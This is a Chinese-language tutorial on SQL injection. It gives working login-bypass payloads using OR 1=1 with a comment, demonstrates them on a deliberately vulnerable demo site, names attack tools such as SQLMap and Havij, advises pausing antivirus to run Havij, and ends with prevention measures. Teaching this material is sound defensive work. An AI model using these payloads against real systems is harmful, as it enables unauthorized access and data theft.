SQL注入教程:如何通过示例学习
什么是 SQL 注入?
SQL 注入是一种攻击,它会毒害动态 SQL 语句,以注释掉语句的某些部分或附加一个始终为真的条件。它利用了设计不佳的 Web 应用程序中的设计缺陷,来利用 SQL 语句执行恶意的 SQL 代码。
数据是信息系统中最重要的组成部分之一。数据库支持的 Web 应用程序由组织用于获取客户数据。 SQL 是结构化查询语言的缩写。它用于检索和操作数据库中的数据。
SQL 注入攻击是如何工作的?
使用 SQL 注入可以执行的攻击类型因数据库引擎的类型而异。攻击在动态 SQL 语句上起作用。动态语句是通过使用来自 Web 表单或 URI 查询字符串的参数密码在运行时生成的语句。
SQL 注入示例
让我们考虑一个带有登录表单的简单 Web 应用程序。HTML 表单的代码如下所示。
<form action=‘index.php’ method="post"> <input type="email" name="email" required="required"/> <input type="password" name="password"/> <input type="checkbox" name="remember_me" value="Remember me"/> <input type="submit" value="Submit"/> </form>
此处,
- 上面的表单接受电子邮件地址和密码,然后将它们提交到一个名为 index.php 的 PHP 文件。
- 它有一个将登录会话存储在 cookie 中的选项。我们从“记住我”复选框推断出这一点。它使用 post 方法提交数据。这意味着值不会显示在 URL 中。
假设后端用于检查用户 ID 的语句如下所示
SELECT * FROM users WHERE email = $_POST['email'] AND password = md5($_POST['password']);
此处,
- 上述语句直接使用 $_POST[] 数组的值,而未对其进行清理。
- 密码使用 MD5 算法加密。
我们将使用 sqlfiddle 来演示 SQL 注入攻击。在 Web 浏览器中打开 URL http://sqlfiddle.com/。您将看到以下窗口。
注意:您需要编写 SQL 语句
步骤 1)在左窗格中输入此代码
CREATE TABLE `users` ( `id` INT NOT NULL AUTO_INCREMENT, `email` VARCHAR(45) NULL, `password` VARCHAR(45) NULL, PRIMARY KEY (`id`)); insert into users (email,password) values ('m@m.com',md5('abc'));
步骤 2)单击“Build Schema”
步骤 3)在右窗格中输入此代码
select * from users;
步骤 4)单击“Run SQL”。您将看到以下结果
假设用户提供了 **admin@admin.sys** 作为电子邮件,并提供了 1234 作为密码。将要针对数据库执行的语句将是
SELECT * FROM users WHERE email = 'admin@admin.sys' AND password = md5('1234');
上面的代码可以通过注释掉密码部分并附加一个始终为真的条件来利用。假设攻击者在电子邮件地址字段中提供了以下输入。
xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ]
xxx 作为密码。
生成的动态语句将如下所示。
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' OR 1 = 1 LIMIT 1 -- ' ] AND password = md5('1234');
此处,
- xxx@xxx.xxx 以单引号结尾,它完成了字符串的引号
OR 1 = 1
LIMIT 1 是一个始终为真的条件,并将返回结果限制为仅一条记录。- -- ‘ AND … 是一个 SQL 注释,它消除了密码部分。
复制上面的 SQL 语句,然后将其粘贴到 SQL Fiddle 的“Run SQL Text”框中,如下图所示
黑客活动:SQL 注入 Web 应用程序
我们在 http://www.techpanda.org/ 上有一个简单的 Web 应用程序,**该应用程序出于演示目的易受 SQL 注入攻击**。上面的 HTML 表单代码取自登录页面。该应用程序提供基本安全措施,例如清理电子邮件字段。这意味着我们上面的代码不能用于绕过登录。
为了解决这个问题,我们可以改用密码字段。下图显示了您必须遵循的步骤
假设攻击者提供了以下输入
- 步骤 1:将 xxx@xxx.xxx 作为电子邮件地址输入
- 步骤 2:输入 xxx’) OR 1 = 1 — ]
- 单击“Submit”按钮
- 您将被重定向到仪表板
生成的 SQL 语句将如下所示
SELECT * FROM users WHERE email = 'xxx@xxx.xxx' AND password = md5('xxx') OR 1 = 1 -- ]');
下图说明了语句的生成过程。
此处,
- 该语句智能地假定使用了 md5 加密
- 完成单引号和闭括号
- 将一个条件附加到语句中,该条件始终为真
总的来说,成功的 SQL 注入攻击会尝试多种不同的技术,例如上面演示的技术,以执行成功的攻击。
其他 SQL 注入攻击类型
SQL 注入造成的危害不仅仅是绕过登录算法。一些攻击包括
- 删除数据
- 更新数据
- 插入数据
- 在服务器上执行命令,这些命令可以下载和安装恶意程序,例如特洛伊木马
- 将有价值的数据(如信用卡详细信息、电子邮件和密码)导出到攻击者的远程服务器
- 获取用户登录详细信息等
- 基于 cookie 的 SQL 注入
- 基于错误的 SQL 注入
- 盲 SQL 注入
以上列表并非详尽无遗,它只是让您对 SQL 注入有所了解
SQL 注入的自动化工具
在上面的示例中,我们基于丰富的 SQL 知识使用了手动攻击技术。有一些自动化工具可以帮助您在最短的时间内更有效地执行攻击。这些工具包括
- SQLMap – http://sqlmap.org/
- JSQL Injection – https://tools.kali.org/vulnerability-analysis/jsql
如何防止 SQL 注入攻击
组织可以采取以下策略来保护自己免受 SQL 注入攻击。
- 切勿信任用户输入 - 在将其用于动态 SQL 语句之前,必须对其进行清理。
- 存储过程 - 这些可以封装 SQL 语句并将所有输入视为参数。
- 预编译语句 - 预编译语句通过首先创建 SQL 语句,然后将所有提交的用户数据视为参数来工作。这不会影响 SQL 语句的语法。
- 正则表达式 - 这些可用于检测潜在的有害代码并在执行 SQL 语句之前将其删除。
- 数据库连接用户访问权限 - 只能为用于 连接数据库的帐户授予必要的访问权限。这有助于减少 SQL 语句在服务器上执行的操作。
- 错误消息 - 这些不应泄露敏感信息以及错误发生的确切位置。可以使用简单的自定义错误消息,例如“抱歉,我们遇到了技术错误。技术团队已联系。请稍后再试”,而不是显示导致错误的 SQL 语句。
黑客活动:使用 Havij 进行 SQL 注入
在这个实际场景中,我们将使用 Havij Advanced SQL Injection 程序来扫描网站的漏洞。
注意:您的 防病毒程序 可能会因其性质而将其标记。您应该将其添加到排除列表或暂停您的防病毒软件。
下图显示了 Havij 的主窗口
上述工具可用于评估网站/应用程序的漏洞。
摘要
- SQL 注入是一种利用不良 SQL 语句的攻击类型
- SQL 注入可用于绕过登录算法、检索、插入、更新和删除数据。
- SQL 注入工具包括 SQLMap、SQLPing 和 SQLSmack 等。
- 编写 SQL 语句时的良好安全策略有助于减少 SQL 注入攻击。